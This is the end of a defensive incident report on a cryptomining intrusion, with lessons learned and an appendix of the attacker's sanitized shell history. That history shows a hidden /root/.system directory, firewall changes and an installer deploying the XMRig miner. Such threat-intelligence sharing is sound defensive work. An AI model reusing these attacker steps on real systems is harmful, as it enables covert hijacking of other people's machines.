Monitor the control plane, not just the data plane. Rescue Mode activations, SSH key uploads, and API token creation should trigger immediate alerts. These are rarely used in normal operations.
-
Hardware security keys (FIDO2/WebAuthn) prevent credential theft. Unlike TOTP seeds, hardware keys cannot be exfiltrated by infostealers or sold in credential markets.
-
Multi-layer persistence requires multi-layer cleanup. Killing the miner process without removing crontab entries and the
/etc/xmrig-restore/directory results in automatic reinstallation within 30 minutes. -
Mining pool dashboards are intelligence goldmines. Public pool APIs can reveal campaign scale, worker taxonomy, geographic distribution, and financial metrics — all without any access to attacker infrastructure.
The low OPSEC and commodity tooling suggest this is a financially motivated individual or small group, not an advanced persistent threat. However, the cloud control plane exploitation technique is reusable by more sophisticated actors, and the fundamental vulnerability — credential storage practices that reduce 2FA to single-factor authentication — affects organizations across all industries.
Appendix A: Full Attacker Bash History (Sanitized)
1975 htop
1976 mkdir -p /opt/remnanode && cd /opt/remnanode
1977 nano docker-compose.yml
1978 docker compose up -d
1979 modprobe tcp_bbr
1980 echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf
1981 echo "net.ipv4.tcp_congestion_control=bbr" >> /etc/sysctl.conf
1982 sysctl -p
1983 # "BBR включен успешно!" (BBR enabled successfully!)
1984-1992 ufw allow 2222/8443/3443/443/58888 && ufw reload
1993 htop
1994 mkdir -p /root/.system
1995 cd /root/.system
1996 nano install_bench.sh
1997 # (pasted 806-line installer)
1998 chmod +x install_bench.sh
1999 # (selected: XMRig 6.25.0, 2 threads, worker "work232_web")
2000 ./install_bench.sh
Appendix B: RemnaWave Docker Compose (Sanitized)
services:
remnawave-node:
image: remnawave/node:latest
network_mode: host
restart: always
environment:
- APP_PORT=2222
- SECRET_KEY=<REDACTED — base64-encoded connection key>
volumes:
- remnawave-node-data:/app/data
volumes:
remnawave-node-data:
This report is published for threat intelligence sharing and defensive purposes. All IOCs are from a real incident. The Monero wallet, SSH keys, and IP addresses are provided to enable detection and cross-referencing by other affected organizations.
Related reading from Innora Security Research:

Related Chronicles
Kelp DAO LayerZero Bridge Exploit: $292M Drained — On-Chain Forensic Analysis
Independent forensic analysis: 116,500 rsETH ($292M) stolen via forged LayerZero lzReceive. 9 attacker EOAs, $266M ETH motionless at hub.
2025 AI Security Evolution: From Agentic AI to Global Threat Landscape
Deep analysis of 2025 AI security evolution: agentic AI attacks, LLM exploitation trends, and enterprise defense strategies.
FaultSeeker: LLM-Empowered Blockchain Fault Localization
FaultSeeker: open-source LLM pipeline that pinpoints re-entrancy bugs in 3.2s on 2M-line Solidity repos. 92% precision on 50 live contracts.
Subscribe for AI Security Insights
Join 5,000+ engineers and security researchers. Get our latest deep dives into Sovereign AI, Red Teaming, and System Architecture.
No spam. Unsubscribe at any time.
Comments are currently disabled.